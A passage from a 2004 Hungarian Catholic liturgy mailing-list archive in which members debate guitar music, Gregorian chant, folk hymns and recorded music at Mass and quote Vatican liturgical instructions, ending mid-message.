Mint egy nyugd=EDjas h=EDv=F5 - = =E9s elfogult=20 ifj=FAs=E1gi-mise r=E9sztvev=F5 - n=E9h=E1ny = megjegyz=E9st szeretn=E9k tenni a=20 liturgikus zen=E9vel kapcsolatos =E9szrev=E9telekre. Azt olvasom:  = "Satya mondja,=20 hogy a kisgyerek sz=EDvesebben =E9nekli a "ne f=E9lj, mert = megv=E1ltottalak" c.=20 =E9neket, mint a "boruljunk le =E9s rettegve ". =C9n azt hiszem,  = Saty=E1nak=20 igaza van. Aki a "megv=E1ltottalak" =E9rtelm=E9vel - m=E9gha = kisgyermek fokon=20 is - tiszt=E1ban van, annak a megv=E1lt=E1s rem=E9nye = megnyugtat=F3bb, mint a=20 "rettegve" leborul=E1s. A h=EDv=F5 embernek - az =F5t Megv=E1lt=F3 = Istent=F5l - mi=E9rt=20 kellene rettegnie? Ez=E9rt - nagyon helyesen - hivatalos =E9neksz=F6veg = ide vagy oda=20 (Szt.Vagy Uram 118, 1874-es!! jav=EDtott sz=F6veg), Szegeden van olyan = hely,=20 ahol az id=E9zett sz=F6veget =EDgy vet=EDtik ki = =E9s =E9neklik:  "boruljunk=20 le, s megrend=FClve" , ami igazabb =E9s kifejez=F5bb. =CDgy kellene = v=E1ltoznia a=20 korral a liturgi=E1hoz kapcsol=F3d=F3 =E9nekek sz=F6vegeinek, = dallamainak (=E9s=20 hangszereinek!) is! A l=E9nyeg: Isten felt=E9tlen elfogad=E1sa =E9s = dics=F5=EDt=E9se!=20
Vajjon a Szentatya afrikai = =FAtjain koncelebr=E1lt=20 mise=E1ldozatokban mindig a hivatalos liturgiai sz=F6vegek =E9s = zen=E9k hangzottak=20 el? Ha =D5 azokat az elt=E9r=E9seket elfogadta =E9s ott = =EDgy=20 term=E9szetes, akkor sz=FCks=E9g van-e a Szentatya = v=E9lem=E9ny=E9t=F5l esetleg=20 elt=E9r=F5  "hivatalos" magyar =E9rtelmez=E9sre, mely = el=F5=EDrn=E1: mi=20 az =FCdv=F6z=EDt=F5en helyes liturgikus  zene? (Ez a = zenek=E9pz=E9sre=20 term=E9szetesen nem vonatkozik, azt koordin=E1lni kellene!) = Elgondolkodtat=F3, hogy a=20 kialakult liturgikus zenei  rendnek - mely t=F6bb = =E9vsz=E1zados=20 - vajjon nincs-e sz=FCks=E9ge   ugyanolyan = megreform=E1l=E1sra, mint az a=20 II. Vatik=E1ni Zsinat eredm=E9nyek=E9nt sokmindenben m=E1r=20  v=E9gbement?
=C1ldott nagyb=F6jti id=F5t = mindannyiunk sz=E1m=E1ra,=20 =DCdv=F6zlettel:Kelemen Imre
 
U.i: levelem meg=EDr=E1sa ut=E1n j=F6tt = meg a g=E9pzen=E9r=F5l=20 sz=F3l=F3 instrukci=F3 ismertet=E9se. Rem=E9lem, a j=F3 Isten = megbocs=E1jtotta elh=FAnyt=20 templom=E9p=EDt=F5 pl=E9b=E1nosunk azon tett=E9t, hogy ett=F5l = n=E9ha elt=E9rt. Az=20 esti - orgona n=E9lk=FCli - mis=E9t (k=E1ntor nem volt) =FAgy = oldotta meg, hogy=20 hetente, amikor az ifj=FAs=E1gi =E9nekkar kinevezett = vezet=F5je(aki egy=E9bk=E9nt=20 hivat=E1sos zen=E9sz volt) r=E1=E9rt, fevett=FCk egy=FCtt a = k=F6vetkez=F5 h=E9t liturgi=E1ja =E9s=20 =E9nekrendje szerinti teljes =E9nekes anyagot,  =D5 = pedig  -=20 t=E1vir=E1ny=EDtva a magn=F3t - a h=EDvekkel egy=FCtt =E9nekelve, = m=E9gis=20 k=E1ntoros/orgonakis=E9retes mis=E9t mutathatott be.  (m=E1s = az elm=E9let =E9s=20 sokszor m=E1s a gyakorlat- szerencs=E9re)
Bocs=E1nat a hossz=FAra ny=FAlt=20 megjegyz=E9sek=E9rt.
------=_NextPart_000_006F_01C4088C.199ED5E0-- From robert.kovacs@chello.at Sat Mar 13 10:59:19 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Sat, 13 Mar 2004 11:59:19 +0100 Subject: [Liturgia] =?Windows-1252?Q?k=F6vetkeztet=E9sem?= Message-ID: <001001c408ea$3c39b1c0$cc63bad4@chello.at> Kedves Listatagok, a utóbbi napok véleményeiböl, hozzászólásaiból merek a következökre következtetni: vannak bizonyos elöírások, melyek kimondják, hogy az Egyház mit tart követendönek, de én inkább úgy nevezném, hogy "ideálisnak". Az, hogy vannak eltérö értelmezések, az éppen abból fakad, hogy elöírásokat, szabályokat, törvényeket (most mindegy, minek hívjuk) többféleképpen lehet értelmezni. Ez a hiányossága minden szabályozásnak. Ezért vannak a parlamentek is, ahol a meglévö szabályozásokat újra és újra, az örökkévalóságig foltozzák. Igazságot nem lehet megfogalmazni, méginkább nem lehet teremteni. ("A földön jogot kapunk, a mennyben majd igazságot.") Fontos megjegyzésnek tartom, hogy az ember mint egyén, gondolkodó teremtény. Nem birkának lett teremtve, aki minden felette lévönek az akaratát teljesíti. Az rendben van, hogy az Egyház hoz elöírásokat, amik az egységet hivattak elömozdítani, és amire szükség van az Egyház mint világban tevékenykedö Intézmény fenntartása érdekében. Az Egyház azonban soha nem rendelheti a teremtett Embert a szabályozások alá. Mi szabad emberek vagyunk, akik gondolkozhatunk, és tudásunkat jóra vagy rosszra használhatjuk fel. Úgy gondolom, hogy akiben él a szeretet, az nem tesz rosszat akkor sem, ha tudatlanságból cselekszik. Mi mindannyian valamilyen szempontból tudatlanok vagyunk. Mégegyszer idézem Szt. Ágostont: "Szeress és tedd, amit akarsz!" A mondatot nem lehet megfordítani, hogy "tedd amit akarsz, és akkor szeretni fogsz" vagy "tedd ezt és ezt, és akkor szeretni fogsz". Mi, keresztények idöröl idöre összegyülünk templomainkban, hogy Istent együtt dicsérjük, Öhozzá együtt imádkozzunk, együtt mondhassuk el örömeinket, kéréseinket, bánatunkat. Ö pedig hitünk szerint szól hozzánk a Szentírás által, megjelenik hitünk szerint Kenyér és Bor színében. Az, hogy az istentiszteleten, szentmisén szeretettel vagyunk-e ott, föleg rajtunk múlik. Ha így van, nem fogunk az Egyház és Jézus legföbb kívánalmának keresztbe tenni: "Szeressétek egymást, ahogy én szerettelek Titeket". A szeretet nem érzelgösség, nem pillanatnyi, vagy ideig-óráig tartó múló állapot, hanem tudatos érzelem, ami összhangban van az ember egészével, testével, értelmével és lelkével. Nem elég, ha ezek közül csak egyikkel foglalkozunk. Ezért van szükség tanulásra, hogy értelmünket fejlesszük, ezért van szükség mozgásra, hogy testünket erösítsük és ezért van szükség irgalmasságra, hogy lelkünket ápoljuk. Úgy gondolom, hogy nem az gyakorol szeretetet, aki az utcán összevertet megsimogatja, megsajnálja és imádkozik érte, hanem aki fel is emeli és elviszi, hogy gondoskodjon róla. Isten EGÉSZ embert kíván tölünk. Van, aki orgonálni tud, van, aki gitározni, van, aki énekelni, van, aki zenét szerezni, van, aki prédikálni. Mégsem mondhatja a szem a lábnak, hogy "nincs rád szükségem". Az egész CSAK együtt müködik. Nincs jogunk az egyiktöl önkényesen megszabadulni. Minden embernek törekednie kell a töle telhetö legjobbra, és akkor a lehetö legjobb fog történni. Többre nincs is szükség. Az, hogy mi a konkoly, és mi a búza, nem mi fogjuk eldönteni. Ezt az idö majd megteszi helyettünk. Nem kívánom, de az is lehet, hogy az orgona egy idö után idegen lesz a katolikus templomban. Ez is benne van a pakliban. Az is lehet, hogy az elektronika olyan magas technikai szintet ér el néhány száz év múlva, hogy az lesz a hangszerek egyik legföbb müködési formája. (Remélem, nem így lesz, de ki tudja, hová fejlödik az emberiség tudása? Az oronaépítészet az évszázadok folyamán hatalmasat fejlödött. Ki gondolta volna a 9. században, hogy a "hydraulis" egyszer hét manuálos és 950 regiszteres lesz?) Az elektronika is az emberi agy alkotása. Az, hogy vannak felvevö/lejátszó készülékek, szintén az emberi agynak köszönhetö. Miért tiltanánk meg, ha úgyis néha szükség van rá? Elnézést a hosszú fejtegetésért, de számomra ez a következtetés a nagyon hasznos és sokszor ellentmondásos véleményekböl! Tisztelettel, Kovács Róbert From deba@dpg.hu Sat Mar 13 11:43:23 2004 From: deba@dpg.hu (=?iso-8859-2?q?Decsi=20B=E1lint=20?=) Date: Sat, 13 Mar 2004 12:43:23 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20Megk=E9sve=3F?= Message-ID: Kedves Illyés Zsolt, és Mindenki! Köszönöm sorait, talán ez az, amire minden gitáros fiatal vágyott. Végre van egy előírás, ami kifejezetten buzdít az új "csoportos ígények" kielégítésére. És még egy: Ezek szerint a gitáros Kék könyv, vehető már alapul a repertórium kialakításánál? Abban szószerint ez áll: Egyházi jóváhagyással. Ha jól tudom, püspöki szinten is "ellenőrizték" a dalokat. Köszönettel: Decsi Bálint From kovarir@freemail.hu Mon Mar 15 10:38:34 2004 From: kovarir@freemail.hu (=?ISO-8859-2?Q?K=F5v=E1ri_R=E9ka?=) Date: Mon, 15 Mar 2004 11:38:34 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?N=E9p=E9nek?= Message-ID: Tisztelt aktív és "alvó/nyugvó" listatagok! (Nem véletlenül írtam e címzést, utalva néhányu(n)k jogos igényére, melyet előttem szólók már megfogalmaztak.) Az elmúlt hetek levélözöne több kérdést feszegetett, melyek közül csak néhányhoz szeretnék megjegyzést fűzni. Amint azt már többek helyesen leírták (csak a tudatosítás kedvéért): a liturgikus (vagyis a liturgián elhangzó) zenében a gregoriánnak elsődleges helye van (kell hogy legyen, mivel az magát a liturgiát, a liturgikus szöveget szólaltatja meg), melyet csak bizonyos esetekben válthat fel arra alkalmas egyéb zene. Ezek közé tartozhat a népének, melynek történetében nyomon követhetjük azt a folyamatot, hogy hogyan változott az egyes századokban az ember vallásos gondolkodása és igénye. Értem ezalatt, hogy mi volt az énekek középpontjában: a középkor Istenközpontú, hittani és dogmatikai tartalmú szövegeiből kiindulva fokozatosan "jutott el" a népének az ember- és érzelemközpontú szövegekhez. Énekeskönyveink más-más összetételben tartalmazták a különböző korok énekterméseit. Igaz ez a XX. századra is, mely egyre fokozottabban igyekezett a régibb korokhoz visszanyúlni, több éneket újra használatba vetetni, és - ahogy arra Kelemen Imre a Krisztus teste kezdetű ének Éneklő Egyház-béli változata kapcsán felfigyelt - szövegjavításokat eszközölni. Álljon itt két nagyböjti ének a) egyrészt annak okáért, hogy vajon miért nem alkalmas a nagyböjt arra, hogy vigadozzunk, b) másrészt pedig bizonyítandó, hogy népénekkincsünk zöme nem komor hangulatú, még a nagyböjtiek között sem mindegyik! Idő- és helyhiány miatt csak az első 4-4 strófáját idézem. Az a) esetében fennmaradó 158(!), a b)-nél pedig 16 versszakot, valamint még 818(!) éneket (gregoriánt és népéneket) megtalálhatják szinte bármelyik könyvtárban, ha megkeresik Domokos Pál Péter Édes hazámnak akartam szolgálni... c. 1979-es könyvét, mely Kájoni János Cantionale Catholicumának 1676-os első kiadását közli, azok felkutatott dallamaival. (Egyébként ez énekeskönyv tanúsága szerint a nép énekelt nem is csekély számú gregoriánt, latinul, s magyarul egyaránt!) a) 1. Kérlek, én zarándok lelkem, / téged is, halandó testem, / értsetek egyet velem. 2. Igyekezem Istenemnek, / szolgálnom én Teremtőmnek, / világ fejedelmének. 3. Ebben a zarándokságban, / penitencia tartásban / leszek lelki bánatban. 4. Mert hogy lehetne víg kedvem, / midőn szenved fejedelmem, / tövis alatt én fejem. b) 1. Csodálatos nagy bölcsesség, / hogy Isten az embereken, / könyörüle bűnösökön: / Dicséret Istennek! 2. Mert orvosságot készíte, / kivel az ember élhetne / és magában el nem veszne: / Dicséret Istennek! 3. Fiát az Isten választá, / szerelméből értünk adá, / közénkbe őtet bocsátá: / Dicséret Istennek! 4. Végezé ezt az Úristen, / fiát hogy emberi testbe / öltözteté, mint fegyverbe: / Dicséret Istennek! Más. Majd' 10 évvel ezelőtti tapasztalatom: (vidéki egyetemi nagy) városi közös ifjúsági misén, ha még csak Éneklő Egyház szintű "egyszerű" gregoriánt "kellett" énekelnie a hívő seregnek, az nagyobb (és aktívabb) "közönséget" vonzott mindegyik alkalommal, mint az ilyen esetekben szokásos gitáros repertoár. Ennyit arról a (téves) nézetről, mely szerint a középiskolás-egyetemista-fiatal dolgozó réteget, vagyis az ifjúságot a gitáros énekekkel lehet megfogni, misére kényszeríteni, és ők nem érzik szükségét annak, hogy valóban "a" liturgián vegyenek részt. Egyébként ilyen tapasztalattal nem csak én rendelkezem! Hirtelen ennyire emlékszem a sok felhozott témából. Bocsánat a hosszúra nyúlt levélért. Bízva abban, hogy eljön (talán még az én életemben) az az idő, mikor sem papjaink, sem mi, egyházzenészek-kántorok nem akadályozzuk meg (akarva-tudatosan vagy akaratlan-"tudattalan") a liturgia szentségének kibontakozását, és annak ilyetén való eljutását minden templomba járóhoz, áldott húsvétra készülést kívánok mindenkinek: Kővári Réka From pasaret@ofm.hu Mon Mar 15 11:36:14 2004 From: pasaret@ofm.hu (pasaret) Date: Mon, 15 Mar 2004 12:36:14 +0100 Subject: [Liturgia] =?iso-8859-2?Q?v=E1zlatpontok?= Message-ID: <4055952E.352F32AC@ofm.hu> Kedves Listatagok! A liturgikus énekre vonatkozó eszmecsere kapcsán - a rövidség kedvéért - csak vázlatosan utalnék néhány problémára, felvetésre, ezért a finomító jelzőket jócskán kihagytam. Ha ezek hiánya miatt diktatórikusnak látszanak megjegyzéseim, akkor az a spórolás eredménye, és nem másé. 1. Sajnos egyik weblapon sem találtam meg a pápa legutóbbi levelét az egyházzenére vonatkozóan, de abban - úgy emlékszem - azt írja, egy egyházi ének annál inkább liturgikus, minél inkább közelebb áll a gregoriánhoz. 2. A liturgikus zene az Isten kinyilatkoztatott szavának hordozója, és így azt elsősorban nyitottsággal és hittel kell fogadni, nem pedig érzelemmel. 3. A magyarországi gitáros zene általában utánzatok nyomán született, nem egy nagy alkotó szerezte ezeket a dalokat, aki pl. képzést kapott a zeneszerzés művészetéről, összhangzattanról, hanem valaki, aki megpróbált valami hasonlót készíteni, mint ez vagy az. A magyarországi gitáros - vallásos - énekek nem hiszem, hogy minőségben mérhetők lennének pl. az Omegához vagy más, az adott korszakban kiemelkedő "profán" alkotáshoz, így logikátlan az az érv, hogy Bach ma ebben a stílusban dolgozna, mert akkor ő nem lenne Bach, hanem csak egy harmincadrangú dalszerző. 3. A gregorián és a - hiteles (!) - népénekkincs rendelkezik azzal az előnnyel, hogy teológiailag, esztétikailag letisztult, így mentes a korszellem esetleges negatív befolyásától, ami pl. a XIX. század népénekeire nagyon is rányomta bélyegét, és ezzel megfosztotta őket egyetmességüktől. 4. E mérce eldöntés nem lehet a papság, a hívek feladata, ezt hozzáértő teológiailag és művészileg képzett szakembereknek kell mérlegelniük. Pl. A papot azért mert pap, nem kérjük meg a templom villanyvezetékének szerelésére, művészi díszítésére - mondván, hogy az is hozzátartozik a templomhoz -, mert általában nem ért hozzá, hanem illetékes szakembert hívunk segítségül, és megbízunk benne, hogy felelőséggel dolgozik. 5. A hívek azt fogadják el, amit a helyi Egyház egyetemesen és következetesen felvállal, amire őket szeretettel és türelemmel tanítja. Máriaradnán egy búcsú alkalmával a magyarok Ó, Nagyasszony nemzetünk reményét énekelve vonultak be a templomba, míg a horvátok anyanyelvükön énekelték a A. Szt. Tamás himnuszát: Imádlak és áldlak Isten rejtelem... - ezt tanították nekik, ebben nőttek fel - ezért hatalmas pl. a pap, a kántor, a hitoktató felelősége atekintetben, hogy kienk mit tanít meg. Évtizedekre befolyásolni tudja a hitéletet. Vagy Taize. Ha ez a közösség nem vállalja fel az igényes, gregoriánhoz igen közel álló énekkultúrát, énekelné ma valaki ott: Adoramus te Christe - ráadásul latinul! 5. Akkor - véleményem szerint -, hol lehet a helye a gitárnak, a hivatalossá nem nyilvánított népéneknek? a. Azt biztos, hogy nem a szentmisében és a zsolozsmában, mert az nem a kisérletezés helye. A pápa így ír - épp a művészetek kapcsán - az Eucharisztiáról szóló körlevelében: "Mindazonáltal az alkalmazkodás e jelentős művének mindig szem előtt kell tartania a kimondhatatlan Misztériumot, melyhez minden nemzedéknek mérnie kell magát. A ,,kincs'' túlságosan nagy és drága ahhoz, hogy kísérletezésekkel vagy az illetékes egyházi hatóság által jóvá nem hagyott gyakorlatokkal az elsilányítás vagy meghamisítás veszélyének tehetnénk ki." b. Szentségimádás, litánia, közösségi imádságok, itt próbáljuk ki mindazt, ami születik, és ha ott korban, stílusban széppé, egyetemessé és igazzá lesz egy alkotás, akkor engedély után fogadjuk be a hivatalos liturgiába. 6. És ami a legfontosabb: ha nem tudjuk pasztorálisan, pedagógiailag az adott esetben talán silánynnak tűnő gyakorlatot úgy átalakítani, hogy helyére valamilyen pozitív tapasztalatot, lehetőséget adjunk, akkor inkább ne nyúljunk hozzá, mert ilyen esetben csak kárt teszünk. Szeretettel: fr. Peregrin From pestifor@axelero.hu Tue Mar 16 08:02:45 2004 From: pestifor@axelero.hu (pestifor) Date: Tue, 16 Mar 2004 09:02:45 +0100 Subject: [Liturgia] tanc es mas In-Reply-To: <4052D985.3010607@kajata.hu> Message-ID: <000001c40b2d$118cf1e0$5533fea9@iroda> Kedves István, és persze mindenki :-) > Arról nem tudtam, hogy pészah ünnepén táncoltak a zsoltározás mellett - > akár ma, akár annak idején. Nyilván nem idegen a bibliai emberektől a > tánc, de konkrétan nem tudok róla. Honnan veszi? Amikor ezzel kapcsolatban már Ervin atya is kételkedésének adott hangot, akkor jeleztem, hogy egy előadáson hallottam erről, és ezért nem tudok hivatkozást mondani; tehát fönntartom azt is, hogy tévedtem. Köszönöm, hogy a figyelmemet fölhívták erre. Ettől függetlenül keresgélek - időmtől telhetően - hogy hogyan ünnepelhettek az utolsó vacsora alkalmával. Annyit tudok, hogy az ókori keleti népeknél létezett kultikus tánc, de sajnos többet egyelőre nemigen. Arra gondoltam, hogy nem írok többet a témában, hiszen volt szó arról, hogy a "szerintem"-ek nem visznek előre és ezzel teljesen egyetértek. Sajnos főleg csak "szerintem"-mel tudnék szolgálni, de most István kérdése apropóján mégis leírom egy régen volt tapasztalatomat. Nem idegen tőlem az a gondolat, hogyha imánkat, belső összeszedettségünket testtartásunkkal is kifejezhetjük, akkor Istenre hangolódásunkat, Isten utáni vágyunkat adott esetben miért ne fejezhetnénk ki tánccal is? (Remélem, nem ijesztek meg senkit ezzel a gondolattal, mert egyáltalán nem szándékozok forradalmi változásokat :-) Ezzel kapcsolatban volt egy emlékem Lourdes-ból. Nem sokkal megtérésem után egy zarándokúton tolmácsoltam. Újonnan megtérőként minden Istennel kapcsolatos dolgot szívtam magamba mint a szivacs...akkor találkoztam egy kameruni (?) fiúval: ketten-hárman voltunk a mi buszunkról és volt ez a srác. Sétáltunk az utcán és már nem emlékszem, hogy milyen apropóból, de az egyik zsoltárról beszélgettünk azt fölolvasva, majd megemlítettük, hogy mi ezt énekelni is szoktuk, és tőlünk telhetően igyekeztünk is neki bemutatni (kissé bennünk volt a görcs, mert tudtuk, hogy sokaknak nem tetszik ez a fajta éneklés, félszegen ügyeltünk, hogy jól hangozzon, ne legyen hamis, mert egyikünk sem volt hivatásos énekes és persze közben eszünkbe jutott a jó Isten is). Erre a fiú is mondta, hogy ők is többnyire éneklik ezeket a zsoltárokat, és ő is "bemutatta nekünk" (a "bemutatás" nem is bemutatás volt, mert látszott, hogy mi abban a pillanatban "eltűntünk" a szeme elől és hogy mélyről jött az, amit tett, láthatólag nem aggódott, hogy ki mit gondol). Amint énekre nyitotta a száját, elkezdett hozzá táncolni, ráadásul a kezével csattintgatással és tapssal kísérte a zsoltározását: este volt, alig néhány járókelő volt abban az utcában, de senki sem botránkozott meg. Én döbbent vigyorral álltam, szólni nem tudtam, csak a levegőt vettem mélyebben...a legszívesebben beálltam volna mellé és az ismétlődő részeket vele énekeltem volna. Persze nem tettem: működött bennem a jó öreg "európai" visszafogottság :-) Európai lévén, hogy ez baj-e vagy sem: fogalmam sincs. Mindenesetre rájöttem, hogy Isten dicsérni így is lehet. Ha nem találkozok ezzel a fiúval, akkor ezt talán sose tudom meg :-) Remélem, hogy senki nem ért félre, mert ezt nem azért írtam le, hogy "tessék, most aztán legyen tánc is"; sőt :-) nagyon örülök, hogy nem kissebb-nagyobb fellángolások határoznak meg bármit is az Egyházunkban. Ma már biztos megkérdeztem volna, akkor még meg sem fordult a fejemben, hogy megkérdezzem ezt a kameruni fiút, hogy a misén is így énekelnek-e, mert akkor még csak pár éve volt, hogy ismerkedni kezdtem egyáltalán az Egyházunkkal és a liturgia tartalmi gazdagsága is csak fokozatosan, az évek során tárult föl előttem, pl. ezáltal a lista által is. Az egymásnak feszülő nézőpontok között számomra két levél különösen is a "szintézis" felé mutatott. Fr. Peregrin levelének kimondottan nagyon örültem. Rámutatott egy folyamatra, amiben egyszerre tükröződik számomra az Egyházunk felelőssége a meglévő kincsek megőrzésére, és nyitottsága az esetleg újonnan előkerülő kincsek befogadására. Ilyés Zsolt levele - melyben idézett és kérdéseket tett föl ("Megkésve?" címen) - számomra szintén ugyanebbe az irányba mutatott. Köszönöm, hogy leírtátok. Úgy látom, hogy itt a listán mindenki a lehető legjobbat keresi, még a legellentétesebbnek tűnő nézeteket vallók is; amikor olvasom a listára érkező leveleket, úgy érzem magam, mint aki Isten kincseskamrájába kap egy röpke betekintést. Köszönöm mindenkinek. + Marian From rihmer@freemail.hu Wed Mar 17 04:44:48 2004 From: rihmer@freemail.hu (=?ISO-8859-2?Q?Rihmer_Zolt=E1n?=) Date: Wed, 17 Mar 2004 05:44:48 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Egy-k=E9t_pontos=EDt=E1s?= Message-ID: Kedves listatagok! 1. Ilyés Zsolt idézte az Istentiszteleti Szent Kongregáció (SCCD = "Sacra Congregatio pro Cultu Divino") "Liturgicae instaurationes" kezdetű, a II. Vatikáni Zsinat "Sacrosanctum Concilium" (= SC) rendelkezésének helyes végrehajtására 1970 szeptember 5-én kiadott instrukciójából (= LI) a 3. c) pontot, amelynek szövegében külön is kiemelte az "új zenei formák használata", az "aktuális ízlés", a "fiatalokkal és gyerekekkel végzett misék", valamint a "nemcsak a szöveg, de a dallam, a ritmus és a hangszerek is (alkalmazkodnak)" szavakat. A latin szövegből készített fordítása alapvetően jó, megjegyzem azonban, hogy az "Episcoporum Conferentia statuat aliquem cantuum indicem" állítmánya nem megengedő, hanem előíró (vagyis "állítson össze" - erre a kötelezettségre, amelyet a későbbi dokumentumok is hangsúlyoznak, már volt alkalmam utalni), továbbá szerintem a "hodierno hominis animo accommodatis" kifejezésben az "animo" inkább "lelkület"-et jelent, nem pedig "ízlés"-t. Egyébként az Egyház tudomásom szerint ízlés dolgában sohasem nyilatkozott, különösen nem ilyen elvi éllel (a gregoriánt sem "ízlés" okán tekinti saját zenéjének). A kiemelt szavakból és az idézet bevezetéséből (utalás az SC 34. és 38. pontjaira) úgy tűnik számomra, mintha a levélíró szerint ezek a lehetőségek egyrészt nem valósultak volna meg (kellőképpen), másrészt az idézett előírások alapján bárkinek lehetősége volna az említett adaptációk elvégzésére. Mivel pedig bevezető soraiban Ilyés Zsolt felteszi a kérdést: "Vehető-e más ordinárium-szöveg (Kyrie, Gloria stb) mint a "hivatalos"?", felelet helyett azonban csak az idézetet közli, levele úgy is érthető, hogy az LI szellemében a válasz igenlő. Nos, a félreértések elkerülése végett hadd idézzem az LI 3. pontjának azt a négy bekezdését, amelyet Ilyés Zsolt NEM fordított le: "3. A legnagyobb tisztelettel kell kezelni azokat a liturgikus szövegeket is, amelyeket az Egyház állított össze [vagyis amelyek nem a Bibliából származnak - R.Z.], ezért senkinek sem szabad önkényesen megváltoztatni, mással helyettesíteni őket, hozzáadni vagy elvenni belőlük. a) A Mise rendjét (Ordo Missae) különös módon meg kell tartani. A benne található formulákon a nyilvános fordításokban semmilyen módon, még énekes mise címén sem lehet változtatni. Egyes részeit viszont - amilyenek a bűnbánati cselekmény, az eukarisztikus imák, az akklamációk, a mise végi áldás - több eltérő formula közül lehet kiválasztani, amint ez az egyes rítusoknál a maguk helyén jelezve van. b) A bevonulási és az áldozási ének a Graduale Romanumból, a Graduale simplexből, a Missale Romanumból vagy a püspöki konferencia által jóváhagyott szöveggyűjteményből (textus collecti) vehető. Ezek a konferenciák azonban a mise bemutatásához szükséges énekek kiválasztása során ne csak azt tartsák szem előtt, hogy azok megfelelnek-e az időknek és a különböző liturgikus alkalmaknak, hanem ügyeljenek a hívek igényeire is, akik használni fogják őket. [Itt következik az Ilyés Zsolt által idézett c) pont első bekezdése.] Mert bár az Egyház a szent zene egyetlen fajtáját sem zárja ki a liturgikus cselekményből, mégsem szabad azonban bármely zenét, illetve éneket vagy hangszeres zenét ugyanolyan fokban alkalmasnak tartani az imádság táplálására és Krisztus misztériumának kifejezésére. Ezek rendeltetése ugyanis az istentisztelet végzésére irányul, s ezért szentnek és esztétikusnak kell lenniük, feleljenek meg a liturgikus cselekmény szellemének és egyes részei természetének, ne akadályozzák az egész közösség tevékeny részvételét, és irányítsák az értelem figyelmét és a szív érzelmeit az alattuk zajló szent cselekményekre." (Noha a dokumentumnak van [hivatalos!] magyar fordítása, az annyira pontatlan és hibás, hogy én is inkább a sajátomat közöltem.) Így persze egészen más olvasatot nyújt ugyanannak az instrukciónak ugyanaz a helye. Én megértem, hogy Ilyés Zsoltnak elsősorban az általa idézett szövegrész nyerte meg a tetszését, mégsem gondolom túlzottan szerencsésnek, hogy az ezzel ellentétes tartalmú és az általam korábban idézett egyéb dokumentumok előírásaival szinte szó szerint egybevágó bekezdéseket nem tartotta érdemesnek a lefordításra. Erre talán még az sem szolgál elegendő magyarázatul, hogy a 3. a)-b) pont az "Enchiridion documentorum instaurationis liturgicae" szövegközlésében egy másik - nevezetesen az előző - oldalon (I 706) található. 2. A gyermekmisékre vonatkozó 1973 november 1-jei "Pueros baptizatos" direktóriumból Ilyés Zsolt a 30-32. pontokra utal (erre e legutóbbira a gépzenével kapcsolatban magam is hivatkoztam). A 31. pontban valóban az olvasható, hogy a Gloria, a Credo és a Sanctus esetében "adhibere licet cum modis musicis aptas interpretationes populares ab auctoritate competenti receptas, etiamsi in omnibus cum textibus liturgicis non concordent", vagyis "szabad alkalmazni megzenésített formában olyan megfelelő népnyelvi fordításokat, amelyeket az illetékes hatóság elfogadott, jóllehet nem mindenben egyeznek meg a liturgikus szövegekkel" Csakhogy a direktóriumnak ez a mondata ma már nem hatályos! Nem véletlenül hívtam fel a figyelmet és idéztem hosszasan az Istentiszteleti és Szentségi Fegyelmi Kongregáció 2001 március 28-ai "Liturgiam authenticam" instrukcióját (= LA) - legalább ezt érdemes lett volna elolvasni abból a 30 levélből... Az LA 8. pontja ugyanis az 1994-es "Variatetes legitimae" instrukció (= VL) kivételével hatályon kívül helyez minden más, a liturgikus fordításokra vonatkozó korábbi előírást, maga pedig kifejezetten tiltja a liturgikus szövegek átköltését. A hitvallást külön is megemlíti (65. p.): "A Credót azzal a pontos szövegezéssel kell lefordítani, amellyel azt a Latin Egyház hagyománya felruházta." 3. Ami a liturgikus adaptációkat illeti, ezek megítélésében szintén sokat változott az Egyház álláspontja a hetvenes évek óta. Azok a lehetőségek, amelyeket Ilyés Zsolt az új zenei formákkal és a népek szellemiségével kapcsolatban hangsúlyoz, a VL és az LA értelmében elsősorban a nyugat-európai kultúrkörön kívüli (pl. afrikai, dél-amerikai, ázsiai) népekre vonatkoznak. Furcsa is volna a Katolikus Egyház liturgiájának inkulturációjáról beszélni ott, ahol az nemcsak 1000-1500 éve folyamatosan jelen van a kultúrában, hanem alapvetően befolyásolta, sőt meg is határozta azt. Ismét idézet következik (LA, 4-5. p.): "[4.] A Második Vatikáni Egyetemes Zsinat tanácskozásai során és határozataiban különleges jelentőséget tulajdonított az olyan liturgikus szokásoknak, egyházi hagyományoknak és keresztény életszabályoknak, amelyek azon - különösen keleti - részegyházak sajátjai, amelyek tiszteletreméltó ősiségükkel tűnnek ki és amelyek ezért különféle módon az atyák közvetítésével az apostoloktól származó hagyományt képviselik. A Zsinat azt kívánta, hogy hagyományait e részegyházak mindegyike épségben és érintetlenül őrizze meg; ezért amikor megkövetelte a különféle rítusoknak a józan hagyomány szerinti felülvizsgálatát, azt az alapelvet is kimondta, hogy csak olyan változtatásokat szabad bevezetni, amelyek a sajátos és szerves fejlődést segítik elő. Ugyanezt az éber gondoskodást kívánja meg a Latin Egyház, és különösen a római rítus liturgikus szokásainak, egyházi hagyományainak és fegyelmének védelme és hiteles módon történő továbbfejlesztése. Ugyanezt a gondosságot kell alkalmazni a liturgikus szövegek, különösen a "Római misekönyv" népnyelvre fordításának munkája során is, amely misekönyv továbbra is a római rítus integritásának és egységének legkiemelkedőbb jele és eszköze. [5.] Alighanem biztonsággal kijelenthető, hogy már maga a római rítus is értékes példája és eszköze a valódi inkulturációnak. A római rítusnak ugyanis megvan az a jeles képessége, hogy magába fogadja a különböző népek és a keleti, ill. a nyugati részegyházak szokásaiból és szellemiségéből átvett szövegeket, énekeket, gesztusokat és rítusokat egy olyan harmonikus egységbe, amely túllép az egyes régiók határain. Ez a képesség különösen szembeötlő a könyörgések esetében, amelyek lehetőséget nyújtanak az eredeti körülményekből fakadó korlátok meghaladására, hogy ezáltal bármely hely és kor keresztényeinek imádságaivá váljanak. A római rítus önazonosságát és egységes kifejezésmódját a liturgikus könyvek összes fordításának elkészítése során a legnagyobb gondossággal meg kell őrizni, nem mint valamiféle történelmi emléket, hanem mint az egyházi közösség és egység teológiai valóságainak megnyilvánulását. Az inkulturációs munkát, amelynek része a népnyelvekre való fordítás, éppen ezért nem szabad új rítusfajták vagy -családok bevezetésére irányuló lehetőségnek tekinteni, hanem ellenkezőleg: figyelembe kell venni, hogy minden kulturális vagy lelkipásztori szükségletből született adaptáció a római rítus részét képezi, s ezért 